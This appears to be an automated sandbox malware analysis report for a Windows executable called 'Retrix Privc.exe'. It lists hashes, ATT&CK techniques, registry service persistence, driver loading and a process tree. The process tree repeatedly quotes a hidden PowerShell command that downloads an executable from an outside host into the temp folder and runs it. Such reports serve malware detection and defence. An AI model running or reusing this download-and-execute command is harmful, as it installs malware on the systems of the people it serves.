a3e986c86a862fe375c81963eab189f3127cca95438e7998d810c8f94978b00a

General

Target
Retrix Privc.exe
Size 3.5MB
Sample260623-e1hfssaw4w
SHA256 a3e986c86a862fe375c81963eab189f3127cca95438e7998d810c8f94978b00a
MD5 e26a92774fb69c0bd18bba64bf9fc2f9
SHA1 11b98bc63cc11802f6281c57901b82dfb1629378
SHA512 d822d99592f086a108c171ded75a3aa0cb97ff7c88c35c679919f7755efe33a9288b22a19e2a0c1243c4adfb530ae527bdeb5c950a773fc4fdca67eb47cfb11f
SSDEEP 49152:QOMRWhtiKhjJfNrQqN3h9xm89+BKnHmYC7HWu9KQZjVbVunwEfil4LOQ:aShjoBKnHmYC7HWu9KQZjVbc
TLSH
T168F5AE17B3EA00DCE277917CD6675713EAB1381807368BDB13D099566FA3BD09ABA301
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5652	powershell.exe
3468	powershell.exe

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\drv2F0A\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\drv2F0A.tmp"	Retrix Privc.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\gdr2F0B\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\gdr2F0B.sys"	Retrix Privc.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4596	Retrix Privc.exe
4596	Retrix Privc.exe
5652	powershell.exe
3468	powershell.exe
3468	powershell.exe
5652	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
5520	Retrix Privc.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5652	powershell.exe
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeLoadDriverPrivilege	5520	Retrix Privc.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5520	Retrix Privc.exe
5520	Retrix Privc.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4596 wrote to memory of 788	4596	Retrix Privc.exe	87
PID 788 wrote to memory of 2964	788	cmd.exe	88
PID 4596 wrote to memory of 5520	4596	Retrix Privc.exe	90
PID 5520 wrote to memory of 3332	5520	Retrix Privc.exe	91
PID 2964 wrote to memory of 5652	2964	cmd.exe	92
PID 3332 wrote to memory of 5700	3332	cmd.exe	93
PID 5700 wrote to memory of 3468	5700	cmd.exe	95
PID 5520 wrote to memory of 2684	5520	Retrix Privc.exe	104
PID 5520 wrote to memory of 4488	5520	Retrix Privc.exe	107
PID 5520 wrote to memory of 4104	5520	Retrix Privc.exe	108

C:\Users\Admin\AppData\Local\Temp\Retrix Privc.exe
"C:\Users\Admin\AppData\Local\Temp\Retrix Privc.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:788
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5652
- C:\Users\Admin\AppData\Local\Temp\Retrix Privc.exe
  "C:\Users\Admin\AppData\Local\Temp\Retrix Privc.exe"
  2⤵
  - Sets service image path in registry
  - Suspicious behavior: LoadsDriver
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3332
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5700
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4104

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 eba0c7d6dc6b993d31d5b769c5b25752f727fd0947cc13691e20da279acf6bc3
MD5 bd72e60b761ffbfe0e7ded58ec149844
SHA1 4119f0c5ac5ef190dac28a209c13a7d9ff2c0ee3
SHA512 f43425f847e9afdd2401d199aeb102a3a80fc25c9ef6c9e1f9fa1e4e8ba9bdebced5f3178b949067fb2aba9092529c48f7842769b6354076c7905ac83811f34c
TLSH
T12E21A837B3DC8921CC86123A009D9C1072B283C7819EDF9FAFC4D604A07F5C8CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_by3q4tgs.oih.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_by3q4tgs.oih.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4596-0-0x0000028C592F0000-0x0000028C592F1000-memory.dmp

Download

memory/5520-2-0x00000221978D0000-0x00000221978D1000-memory.dmp

Download

memory/5520-1-0x00000221978B0000-0x00000221978B1000-memory.dmp

Download

memory/5652-15-0x0000026951AE0000-0x0000026951B02000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads